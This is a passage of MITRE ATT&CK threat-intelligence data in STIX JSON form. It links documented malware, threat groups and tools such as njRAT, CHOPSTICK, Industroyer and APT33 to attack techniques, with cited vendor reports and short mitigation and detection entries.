evasion.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1677745c-06d5-4791-be9c-1104549c34b2","type":"relationship","created":"2020-02-12T15:27:00.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-23T19:22:53.135Z","description":"Disable the WinRM service.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1678d731-c556-4968-aab1-ae745015308f","type":"relationship","created":"2020-05-04T19:13:35.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.491Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to download files from the infected host to the command and control (C2) server.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--167d7b11-01f3-42d5-bb8a-78306dc80243","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft SIR Vol 19","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"},{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.405Z","description":"Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: ESET Sednit Part 2)(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--167e1e15-1fe1-4073-aac1-062557fdd79f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft SIR Vol 19","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.406Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) can communicate over HTTP for C2.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1681f4aa-4bb1-482a-8fdf-8c1b724635d9","type":"relationship","created":"2020-05-26T20:33:11.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.314Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to launch files using ShellExecute.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1684e405-53bd-4951-a26d-e7c39887b06a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:45:45.236Z","description":"[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to search for and capture files on the victim.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1685aa0e-d1be-40ea-ade0-21ff64e0d372","type":"relationship","created":"2020-12-01T15:19:53.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."},{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."}],"modified":"2021-03-08T20:49:44.682Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has the ability to identify domain administrator accounts.(Citation: NCC Group Team9 June 2020)(Citation: DFIR Ryuk's Return October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1685ad32-a34b-4ecc-83b0-f55d53c9b2aa","created":"2023-03-24T17:58:15.705Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T17:58:15.705Z","description":"Monitor for the creation of WMI Objects and values that may highlight storage of malicious data such as commands or payloads.","relationship_type":"detects","source_ref":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16873550-3105-4ce5-92fc-7b8127e47b5d","created":"2021-01-04T20:42:22.133Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604)’s data wiper module clears registry keys and overwrites both ICS configuration and Windows files.(Citation: Dragos Crashoverride 2017)","modified":"2022-06-30T20:16:22.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--168ab4a2-db4d-4d64-9951-6547145aabe6","created":"2019-06-04T19:48:14.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Fidelis njRAT June 2013","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf"},{"source_name":"Trend Micro njRAT 2018","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T20:23:37.187Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can download files to the victim’s machine.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--168c9371-c88c-45bf-9256-df78683685a2","created":"2022-09-16T15:46:30.803Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:46:30.803Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors registered hundreds of domains using Duck DNS and DNS Exit.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--168f47ab-980f-4e10-91f4-ffd2acf09a7f","type":"relationship","created":"2020-06-22T20:34:05.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:34.021Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used HTTP for C2.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--168f7ba7-346f-4c70-a08d-f9a13db33c3e","created":"2024-05-23T22:55:15.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:18:33.223Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) attempts to collect mail from accessed systems and servers.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1694d196-8f00-44ee-802f-274a2c566a15","type":"relationship","created":"2021-03-31T12:48:05.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Content trust in Docker","url":"https://docs.docker.com/engine/security/trust/content_trust/","description":"Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019."},{"source_name":"Content trust in Azure Container Registry","url":"https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust","description":"Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019."}],"modified":"2021-08-26T16:42:35.863Z","description":"Utilize a trust model such as Docker Content Trust with digital signatures to ensure runtime verification of the integrity and publisher of specific image tags.(Citation: Content trust in Docker)(Citation: Content trust in Azure Container Registry)","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16952ba0-4fae-450b-990c-2b771efbd60f","type":"relationship","created":"2020-03-19T22:16:54.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-19T22:16:54.814Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16a0a1cd-707a-4fd4-bdeb-2dd1165aeec7","created":"2022-03-30T14:26:51.836Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed windows registry keys that may use scripts automatically executed at boot or logon initialization to establish persistence.","modified":"2022-04-28T15:00:06.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16a59f96-4c5c-4625-a776-61162ac9c6c1","created":"2023-04-04T22:01:29.468Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:01:29.468Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use port-knocking to authenticate itself to another implant called Cryshell to establish an indirect connection to the C2 server.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--16ad2735-61b3-4cb4-8f23-439df70715c8","created":"2019-04-19T13:18:41.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Duqu 2.0","description":"Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.","url":"https://web.archive.org/web/20150906233433/https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:34:03.959Z","description":"[Duqu](https://attack.mitre.org/software/S0038) has used msiexec to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages.(Citation: Kaspersky Duqu 2.0)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16b2871e-c793-4362-89b8-b893806d147a","type":"relationship","created":"2021-06-29T15:14:57.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:14:57.693Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) has the ability to uninstall itself by deleting its service and files.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16b915ff-7bf5-4032-b39a-9c8073847d77","type":"relationship","created":"2020-06-16T17:53:18.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T16:18:11.205Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) macros can scan for Microsoft Word and Excel files to inject with additional malicious macros. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also used its backdoors to automatically list interesting files (such as Office documents) found on a system.(Citation: ESET Gamaredon June 2020)(Citation: Unit 42 Gamaredon February 2022)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16b9514b-bd70-4039-a1af-0175d5af58ad","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16bea458-8018-4e53-a377-5970747521ab","type":"relationship","created":"2020-05-15T13:41:30.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.505Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) used the Windows function GetExtendedUdpTable to detect connected UDP endpoints.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16c2e736-30e0-4ecb-8f7f-b89b9a983b4a","created":"2022-03-30T14:26:51.856Z","x_mitre_version":"0.1","external_references":[{"source_name":"Docker Images","url":"https://docs.docker.com/engine/reference/commandline/images/","description":"Docker. (n.d.). Docker Images. Retrieved April 6, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.","modified":"2022-04-14T13:16:37.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16c64146-61e6-4be5-bdc3-1fa97870a080","created":"2022-02-02T16:36:53.744Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can enumerate information about a variety of cloud services, such as Office 365 and Sharepoint instances or OpenID Configurations.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:18:37.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16c7058c-8fa5-4477-8332-9e76fcb38924","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-03-18T19:58:05.813Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit’s 